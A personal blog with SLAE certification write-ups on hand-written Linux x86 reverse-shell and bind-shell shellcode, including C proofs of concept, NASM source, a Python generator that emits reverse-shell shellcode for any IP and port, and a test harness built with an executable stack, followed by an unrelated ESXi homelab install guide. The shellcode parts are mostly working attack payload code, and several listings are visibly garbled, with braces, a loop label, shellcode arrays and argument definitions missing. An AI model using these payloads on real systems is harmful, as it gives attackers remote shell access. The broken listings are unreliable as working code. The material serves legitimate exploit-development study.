SLAE Assignment 2 – Reverse Shell – Shell-code


So assignment two is similar to assignment one, but this time is a reverse shell. Approach has been exactly the same, Eg C POC, Assembly than wrapper program. To be fair the assembly came a bit easier this time and wasn’t fair off working on first attempt so I’m making progress.

C Reverse Shell

First things first is the C proof of concept which is in fact a touch easier than the bind shell if anything be pretty straight forward to understand.

// File: reverse_shell.c
// Reverse shell in C, SLAE Assignment 2

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <unistd.h>

#define PORT 5555
#define IP "" 

int main(int argc, char *argv[])
	// define and populate structure for socket 
	struct sockaddr_in addr;
	addr.sin_family = AF_INET; // 2
	addr.sin_addr.s_addr = inet_addr(IP); // 
	addr.sin_port = htons(PORT); // 5555

	// Define and create socket 
	int s; 
	s = socket(AF_INET, SOCK_STREAM, 0) ; // Socket = syscall 359, AF_INET = 2, SOCK_STREAM = 1 
	connect(s, (struct sockaddr *)&addr, sizeof(addr)); // Connect syscall = 362 
	// Duplicate in, out and error 
	dup2(s, 0); // Dup2 sycall = 63 
	dup2(s, 1);
	dup2(s, 2); 
	// Execute Shell 
	execve("/bin/sh",0 ,0); // Execve syscall = 11
	return 0;


Assembly Reverse Shell

As before this is a direct translation of the C code into assembly. Only really one tricky part this time around which was dealing with null bytes in the IP address. E.g, in hex is 0x7f000001, which gives us null bytes in our shell-code. (Handy little converter here for reference ). Solution to this is to XOR 0x0100007f (0x7f000001 in reverse) with another value like 0xffffffff, use this value in the assembly code and XOR it back to the original value. See lines 23 to 25 for this.
One other useful tip is that I installed visual studio code on the Ubuntu box with the assembly language plugin which makes typing and viewing the code a whole lot easier than using a default text editor. You can grab the 32bit deb package from here Final assembly code is below.

; Filename: reverse_shell.nasm
; Website:
; Purpose: Reverse shell in x86 assembly 

global _start			

section .text

	; Clear everthing we are using 
	xor eax, eax 
	xor ebx, ebx 
	xor ecx, ecx 
	xor edx, edx 
	xor esi, esi
	xor edi, edi

	; Define structure for socket 
	; push 0x0100007f ; Push IP to stack in reverse byte order ; need to revist the null bytes here  (
	; We have a issue here in that the ip address = 0x0100007f in hex which contains null bytes 
	; Easiest way around this is to XOR the value with 0xffffffff
	mov edi, 0xfeffff80 ; xor of 0x0100007f and 0xffffffff
	xor edi, 0xffffffff
	push edi
	push word 0xb315 ; Push 5555 to the stack in reverse byte order 5555 in hex = 0x15b3 
	push word 0x2 ; push 2  to the stack (AF-INET) 

	; Create socket 
	; s = socket(AF_INET, SOCK_STREAM, 0)
	mov ax, 0x167 ; Syscall 359 (socket)
	mov bl, 0x2 ; AF-INET (2) 
	mov cl, 0x1 ; Sock stream (1) 
	; dl should already be zero 
	int 0x80 ; call system interupt to create socket 
	xchg esi, eax ; socket file descriptor now stored in esi 

	; Connect socket 
	; connect(s, (struct sockaddr *)&addr, sizeof(addr));
	mov ax, 0x16a ; Syscall 362 connect 
	mov ebx, esi ; Move socket file descriptor into ebx 
	mov ecx, esp ; Point ecx to the top of the stack which has our address structure on it 
	mov dl, 0x10 ; Size of structure (16)
	int 0x80 ; call system interupt to create connect 

	; Dup input output and error file descriptors 
	; dup2(s, 0); // Dup2 sycall = 63  
	xor eax, eax ; Clear eax 
	mov ebx, esi ; move socket id to ebx 
	xor ecx, ecx ; Clear ecx 
	mov cl, 0x2 ; set ecx to 2 
	mov al, 0x3f ; syscall 63 
	int 0x80 ; call dup 2 
	dec ecx  ; decrease ecx by 1 
	jns loop ; jump if not signed back to loop, this should cycle 2,1,0

	; Execute Shell 
	; execve("/bin/sh",0 ,0); // Execve syscall = 11
	; (const char *filename, char *const argv[], char *const envp[]);
	xor eax,eax ; null eax 
	mov al, 0xb ; syscall 11 into eax
	xor ebx, ebx ; zero ebx 
	push ebx ; push a null string to the stack to terminate our string 
	push 0x68732f2f ; hs//
	push 0x6e69622f ; nib/
	mov ebx, esp ; point ebx at the stack
	xor ecx, ecx ; clear ecx and edx as they are used in the syscall 
	xor edx, edx
	int 0x80 

section .data

As before we can link and compile the code with the following commands

    nasm -f elf32 -o reverse_shell.o reverse_shell.nasm 
    gcc -o reverse_shell reverse_shell.o 

Again we can extract the shell-code from our binary double checking for null bytes and compile the shell code in the following program.

suls@ubuntu:~/myslae/SLAE/Assignment-2$ objdump -d ./reverse_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 


unsigned char code[] = \

	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

Shell-code is compiled as follows:

gcc -fno-stack-protector -z execstack -o reverse_shell_shellcode shellcode.c 

And we end up with working reverse shell shell-code of 91 bytes.

Wrapper Program

Decided to go with Python this time around for a bit of a change, main challenge was working out how to XOR the IP address but it turned out it wasn’t too tricky in the end. Also had a few issues getting the compiled shell-code working once the script was complete. Wire shark to the rescue here, pretty easy to spot what the issue is.

Pushing the shell code through in the correct order resolves this pretty quickly. Python script below, have included some basic error checking to check for null bytes and valid port numbers.

#!/usr/bin/env python3 
# File:
# Reverse shell wrapper in python3 , SLAE Assignment 2
# Usage: python3 5000

import argparse
import socket 
from struct import unpack

print("***** Reverse shell wrapper script ******")

# Grab command line args (ip and port) 
parser = argparse.ArgumentParser() 
args = parser.parse_args() 
# check port is in a valid range 
if ((int(args.port) > 65535) or (int(args.port) < 256)):
    print("\nPort number must be between 256 and 65535\n")

# Xor Function 
def xor_strings(str1,str2):
    result =  int(str1,16) ^ int(str2,16)
    return '{:x}'.format(result)

# Process IP address
print("\nIP address: "+ args.ip)
# Convert IP to Hex 
hexip = socket.inet_aton(args.ip).hex() 
print("Hex IP Address: "+hexip)
# Reverse the hex String 
revhexip = hexip[6:8]
revhexip = revhexip + hexip[4:6]
revhexip = revhexip + hexip[2:4]
revhexip = revhexip + hexip[0:2]
# Xor the reversed hex address as the shellcode XORs this address to avoid null bytes 
xored_ip = xor_strings(revhexip,"FFFFFFFF")
print("XORed reverse hex IP Address: "+ xored_ip) 

# Process Port
print("\nPort: "+args.port)
# Convert Port to hex 
hexport = hex(int(args.port)).replace('0x','')
if len(hexport)<4:
    hexport = '0'+hexport
print("Hex Port: "+hexport)
revhexport = hexport[2:4]+ hexport[0:2] 
print("Reverse Hex Port: "+revhexport)

# Check for null bytes 
if (xored_ip[0:2]=="00" or 
    xored_ip[2:4]=="00" or 
    xored_ip[4:6]=="00" or 
    xored_ip[6:8]=="00" or 
    revhexport[0:2]=="00" or 
    print("\n** WARNING ** Null Bytes detected in Xored IP or port shellcode,")
    print("shellcode may not work !\n")

# Construct Shellcode 
shellcode= \
"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\xbf" + \
    "\\x"+ xored_ip[6:8] + \
    "\\x"+ xored_ip[4:6] + \
    "\\x"+ xored_ip[2:4] + \
    "\\x"+ xored_ip[0:2] + \
"\\x83\\xf7\\xff\\x57\\x66\\x68" + \
    "\\x"+ revhexport[2:4] + \
    "\\x"+ revhexport[0:2] + \
"\\x66\\x6a\\x02\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x96\\x66" + \
"\\xb8\\x6a\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x89\\xf3" + \
"\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b" + \
"\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" + \
# Output Shellcode 
print("\nShellcode (Length 91 Bytes): \n")

With our shell-code generated we can drop it into our shellcode.c file compile and test it as demonstrated before:

This completes assignment two, on to egg hunters in assignment 3! Source code is available on GitHub

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1436

SLAE Assignment 1 – TCP Bind Shell-code


So part one of the challenges for Security Tube Linux Assembly Expert (SLAE) certification, TCP bind shell code. For more info on the course look here. Given my minimal knowledge of C programming at this point my intended process for this challenge is to:

  1. Identify the steps I need to take with the code
  2. Write a working C proof of concept for the task
  3. Port the C code to assembly language
  4. Compile and link to a binary and extract the working shell-code
  5. Finally work out a way of making the port number dynamic for the shell-code

Identify the steps I need to take with the code

With a little google fu and thanks to geeksforgeeks it looks like we can break the tasks down into the following

  • Create a socket
  • Bind the socket
  • Make the socket listen
  • Accept connections
  • Send a shell to the connection

Write a working C proof of concept for the task

So this took a bit of research but eventually we end up with the below. In particular you need to ensure that you understand the headers to include and what the various variables are value wise as we will require them when it comes to porting this to assembly. I’ve tried to comment everything inline to make as much sense as possible.

// File: bind_shell.c
// Simple bind shell in C, part of SLAE assessment 1 

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

#define PORT 4444

int tcp_socket;
int client_socket_id;
struct sockaddr_in address;

int main()
	// Define our socket 
	// AF_INET = IPv4 (2) , 
	// SOCK_STREAM = 2 way communication (1), 
	// 0 = default protocol type TCP (0)
	tcp_socket = socket(AF_INET,SOCK_STREAM,0);

	// Bind Socket 
	// Initialise the socket address structure 
	address.sin_family = AF_INET; // 2
	address.sin_port = htons(PORT); // 4444
	address.sin_addr.s_addr = INADDR_ANY; // 0  
	// Bind to it 
	bind(tcp_socket,(struct sockaddr *) &address, sizeof(address));

	// Listen 

	// Accept connections 
	client_socket_id = accept(tcp_socket, NULL ,NULL);

	// Pipe input and output 
	dup2(client_socket_id,2); // stderr
	dup2(client_socket_id,1); // stdout
	dup2(client_socket_id,0); // stdin

	// Run a shell 
	execve("/bin/sh",NULL ,NULL);

	// Exit 
	return 0;

With the code in place we compile and test on our local machine using gcc and netcat and we have a working POC.

Moving on we can of course drop the shellcode out of the binary we have just created using C with the following command:

 objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 

However this is, one rather long, and two full of null terminators (\x00) so not overly useful to us as a piece of shellcode. Time to see we we can craft something more useful in assembly.

Port the C code to assembly language

So final code for this is below, the syscalls and variables for each function are ultimately derived from the following:

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket # syscall we want 
 man 2 socket 
 man 2 bind 
 man 2 listen 
 man 2 accept 
 man 2 dup2
 man 2 execve 

The code is rough and ready, I’ve purposely left it that way for now. One to see how my assembly programming improves and two as, optimising it might be an extra mile exercise a little later on. Another point I noted whilst debugging is that a lot of other students “exercise 1” code uses the “socketcall” function rather than socket, listen, accept etc. I’m not sure that either approach makes any different, however as I was replicating the above C code, I soldiered on with separate calls. Finally there doesn’t appear to be a syscall for “accept” so you have to use “accept4” in its place.

Hit a few challenges along the way which I thought it worth documenting which might aid fellows students should they hit similar problems.

Sockaddr Data structure

So the key to getting this working is the fact the structure has to be 16 bytes long and is fed to the stack in reverse order, so requires some padding, you are looking for something like this at the point you call bind:

Format of Port Number

Secondly and related to the above once I got everything working and the shell running, it worked but on a seemingly random high port number rather than 4444. This is because the port bytes need feeding to the stack in reverse order, e.g: 4444 = 0x115c in hex, what we actually want to push to the stack is.

push word 0x5c11

0x00 In Final Shell-code

So having finally got everything working I compiled and extracted my first shell-code to find it riddled with null bytes 🙁

suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 

Disassembling the binary gives a clearer picture of whats going on:

In short moving a 8 or 16 bit value into a 32 bit register doesn’t fill it and it gets padded with zeros. Obvious beginners mistake. To correct instead of using the full register use the correct section for the amount of data you are moving.

mov eax, 0x12345678
 mov ax, 0x1234
 mov al, 0x12


; Filename bind_shell.nasm
; Purpose: TCP bind shell 

global _start			

section .text
	; Clear everthing we are using 
	xor eax, eax 
	xor ebx, ebx 
	xor ecx, ecx 
	xor edx, edx 
	xor esi, esi
	xor edi, edi

	; Set up a syscall for creating a socket 
	; int socket(int domain, int type, int protocol);
	; syscall = 359 Goes in EAX 
	; EBX 2
	; ECX 1 
	; EDX 0
	mov ax, 0x167  ; move 359 to al
	mov bl, 0x2 ; move 2 to bl 
	mov cl, 0x1 ; move 1 to cl
	mov edx, ecx ; move 1 into edx
	sub edx, 0x1 ; then subtract 1 to make zero 
	int 0x80
	xchg esi, eax ; socket file descriptor now stored in esi

	; Set up syscall for bind 
	; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
	; syscall = 361 (EAX)
	; EBX = esi
	; ECX = sockaddr structure (pointer to)
	; EDX = len(sockaddr structure) 
	; First we are going to build the structure need for sockaddr on the stack (reverse order)
	xor edx, edx
	push edx ; currently 0 (INADDR_ANY)
	push word 0x5c11 ; Port 4444 (reverse byte order 4444 = 0x115c)
	push word 0x2 ; (AF-INET)

	; Now assemble the actual call 
	mov ax, 0x169 ; Syscall 361 
	mov ebx, esi ; fd for socket 
	mov ecx, esp ; Structure for sockaddr, eg point ecx at the stack
	mov dl, 0x10 ; length of sockaddr (16)
	int 0x80 ; call system interupt 

	; Setup syscall for listen 
	; int listen(int sockfd, int backlog);
	; syscall listen = 363
	mov ax, 0x16b ; system call 363
	mov ebx, esi ; fd for our socket 
	xor ecx, ecx ; clear ecx (int backlog = 0) 
	int 0x80 ; call system interupt 

	; Setup syscall for accept 
	; syscall 364
	; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
	mov ax, 0x16c ; syscall 364 
	mov ebx, esi ; Socket fd 
	xor ecx, ecx ; null ecx and edx 
	xor edx, edx
	push esi ; save esi on the stack for now 
	xor esi, esi
	int 0x80 
	pop esi ; Get the value back 
	mov edi, eax ; store incoming fd in edi

	; Setup duplicate file descriptors for our socket 
	; int dup2(int oldfd, int newfd);
	; syscall 63
	mov al, 0x3f ; syscall 63
	mov ebx, edi ;  
	mov cl, 0x2
	int 0x80 
	dec ecx
	mov al, 0x3f ; syscall 63
	int 0x80 
	dec ecx
	mov al, 0x3f ; syscall 63	
	int 0x80 

	; Finally run a shell 
	; Execve = syscall 11
	; (const char *filename, char *const argv[], char *const envp[]);
	xor eax,eax ; null eax 
	mov al, 0xb ; syscall 11 into eax
	xor ebx, ebx ; zero ebx 
	push ebx ; push a null string to the stack to terminate our string 
	push 0x68732f2f ; hs//
	push 0x6e69622f ; nib/
	mov ebx, esp ; point ebx at the stack
	xor ecx, ecx ; clear ecx and edx as they are used in the syscall 
	xor edx, edx
	int 0x80 

section .data

Compile, Link and Extract

So finally get to compiling and linking our nasm file with the following commands:

nasm -f elf32 -o bind_shell.o bind_shell.nasm 
gcc -o bind_shell bind_shell.o 

With this complete we can extract our shell-code and test it works. Extraction with the previous bash command line looks like this.

suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 

With our final shell code in place we can use a short C program to test the extracted shell-code works:


unsigned char code[] = \


	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;



Which we compile as follows:

gcc -fno-stack-protector -z execstack -o bind_shell_shellcode shellcode.c 

And test. A working shell code of 121 bytes.

Make the Port Number Dynamic

Final task in this section is to make the port number dynamic. Numerous way of doing this, my approach is going to be to string substitute the port value in the shell-code in C.

Final code below, which is functional but lacks any kind of error handling or sense checking of the user input or checking for bad characters.

// File: bind_shell_program.c
// Simple bind shell with configurable port number in C, part of SLAE assessment 1 
// NB: Zero error checking in this script :/


int portnumber;
unsigned char porthigh, portlow;

main(int argc, char** argv)
	// Check some thing has been passed in 
	if (argc != 2)
			printf("Port number must be supplied\n");
			printf("Usage: %s \n", argv[0]);
	// Convert Port number to some thing usable 
	portnumber = atoi(argv[1]);
	porthigh = portnumber >> 8 ;
	portlow = (portnumber << 8) >> 8;
	// Display our shellcode
	printf("Shellcode Length: 121");
	printf("Bind Port (%05d) \n\n",portnumber);

	return 0;


So that is assignment one completed, source code is available on gitub here.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1436

ESXi 6.5 on HP Microserver Gen 8

Well having decided to put together a small homelab and purchased a HP Microserver Gen 8 for the purpose I decided to go a head with VMware ESXi for the hypervisor, some thing new and we all like a challenge right?

Well its defintely been a challange in retrospec Hyper-V might have been easier but anyway I’ll get the process down well its still fresh in my mind.

Setup is currently the bog standard microserver, so 4gb Ram, celeron 2.3, 32GB USB stick and 2 X 2TB SATA drives… memory and processor upgrades yet to come.

Downloaded the HP specific version of ESXi 6.5 and mounted it via ILO, install is pretty stright forward, click next a few times, pick the USB stick as install location etc, happy days until you get the “you dont have over 4GB memory” (MEMORY_SIZE ERROR) error message and it kicks you out of the installer…

Eventually worked out a way around it with the following instructions from

So when the memory size error occurs press ALT+F1 to drop you to the command line, login with root and blank password then

cd /usr/lib/vmware/weasel/util
rm upgrade_precheck.pyc
chmod 666
vi (search for MEM_MIN_SIZE and find (4*1024). Replace 4* with 2*  and close after saving.
ps -c | grep weasel ( find the python PID )
kill -9  

upgrade_precheck.pyc didn’t exist on my install possibly being the HP version but I’ve left the step in there

When you kill python the installer restarts and you can get all the way through it, lovely job

So with the hypervisor installed time to play, started off with a Server 2016 install and so the issues began.

Wasn’t expect things to fly along on a celeron with 4GB but the install took over 3 hours, neither CPU or memory anywhere near maxed out, so looked to be a disk issue. In ESXi the max speed seen on the array was 30meg/s, installing ubuntu server and testing that showed an average of 5meg/s. Not great.

dd if=/dev/zero of=/tmp/output bs=8k count=100k; rm -f /tmp/output

Heaps of research managed to tie it down to to crap RAID drivers in a nut shell.

I gather current wisdom is to use the scsi-hpvsa-5.5.0-88 drivers in ESXi 6 and 6.5

So you need to enable SSH in ESXi (host > Manage > Services > Enable SSH)


Then using filezilla or another FTP client FTP the scsi-hpvsa-5.5.0-88OEM.550.0.0.1331820.x86_64.vib across to /tmp

Stop all your VMs, enable maintenance mode either via the web GUI or SSH to your hypervisor and

esxcli system maintenanceMode set --enable true

Then SSH to the hypervisor

cd /tmp
cp scsi-hpvsa-5.5.0-88OEM.550.0.0.1331820.x86_64.vib /var/log/vmware/
# Remove the scsi-hpvsa driver
esxcli software vib remove -n scsi-hpvsa -f
#Install scsi-hpvsa-5.5.0-88
esxcli software vib install -v file:scsi-hpvsa-5.5.0-88OEM.550.0.0.1331820.x86_64.vib --force --no-sig-check --maintenance-mode

Rebooting and logging back into ESXi I found my data store gone along with both my VMs 🙁
Checking the raid driver I found it to now be on the ahci driver, so in essence we need to disable this to force it to roll back to our 5.5.0-88 driver.

Again ssh into the hypervisor and

esxcli system module set --enabled=false --module=vmw_ahci

You can check it worked via

esxcli system module list

You should end up with this


Reboot again run a disk speed check again in ubuntu.

Disk speed test

I’ll take 150meg/s!!

So thats ESXi 6.5 up and running on a 4GB HP microserver, more challenging than I was expecting but have to say I’m liking ESXI so far.